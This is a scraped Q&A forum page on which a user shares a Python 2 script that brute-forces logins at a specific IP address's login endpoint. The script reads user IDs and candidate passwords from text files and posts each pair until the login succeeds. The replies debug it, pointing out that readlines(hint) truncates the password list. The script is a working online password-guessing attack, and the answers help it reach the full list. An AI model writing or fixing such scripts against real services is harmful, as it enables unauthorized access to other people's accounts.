>  Q&A  >  본문

网页爬虫 - python暴力破解密码的数据量问题

我用自己的账号去尝试暴力破解,候选密码保存在本地txt文件。发现当候选密码较少时(大概几百几千个),可以正确找到密码,当数据较大(大概几十万个)的时候就找不到正确的密码,但是正确的密码就在文件里面了,这是为什么?

def try_pwd(userid,pwd):  #提交数据函数
    myurl = 'http://222.200.98.147/login!doLogin.action'
    postdata = urllib.urlencode({'account':userid, 'pwd':pwd, 'verifycode':''})
    header = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}
    request = urllib2.Request(url=myurl, data=postdata, headers=header)
       
    try:
        acp_login = urllib2.urlopen(request,timeout=10)
    except urllib2.HTTPError,e:
        print e.reason,e.code
    re_info = acp_login.read()
       
    if re_info == '{"msg":"/login!welcome.action","status":"y"}':
        print 'ID:',userid
        print 'password:', pwd
        isfind = True
    else:
#         print 'None'
        isfind = False
    return isfind
    
    
start_time = time.time()
print 'Start...'
userID_file = open('e:\\userID.txt','r')   #userID.txt为账号文件
for userID in userID_file.readlines(100):
    userID = userID.strip('\n')
    pwd_file = open('e:\\pwd2.txt','r')      #pwd2.txt为密码文件
    for t_pwd in pwd_file.readlines(10000):
         t_pwd = t_pwd.strip('\r\n')
         isfind = try_pwd(userid=userID,pwd= t_pwd)
         if isfind == True:
             break
    if isfind == False:
         print userID, u'没有匹配'
    pwd_file.close()     

userID_file.close()
end_time = time.time()
print "total time: ",end_time-start_time
PHP中文网PHP中文网2741일 전526

모든 응답(2)나는 대답할 것이다

  • 高洛峰

    高洛峰2017-04-18 10:18:35

    1. 코드를 게시하세요
    2. 비밀번호를 모두 입력하셨나요

    readlines(hint=-1)
    스트림에서 줄 목록을 읽고 반환합니다. 읽은 줄 수를 제어하기 위해 힌트를 지정할 수 있습니다. 총 크기(바이트 단위)인 경우 더 이상 줄을 읽지 않습니다. 문자)는 지금까지 모든 줄의 힌트를 초과합니다.

    file.readlines()를 호출하지 않고도 for line in file: ...을 사용하여 파일 객체를 반복하는 것이 이미 가능합니다.

    https://docs.python.org/3.3/l...

    귀하의 코드는 100줄만 읽을 수 있습니다. 올바른 비밀번호는 100줄 이후여야 합니다

    회신하다
    0
  • 大家讲道理

    大家讲道理2017-04-18 10:18:35

    방금 시도해 보고 readlines에서 매개변수를 제거했는데 다시 작동하나요?_?

    회신하다
    0
  • 취소회신하다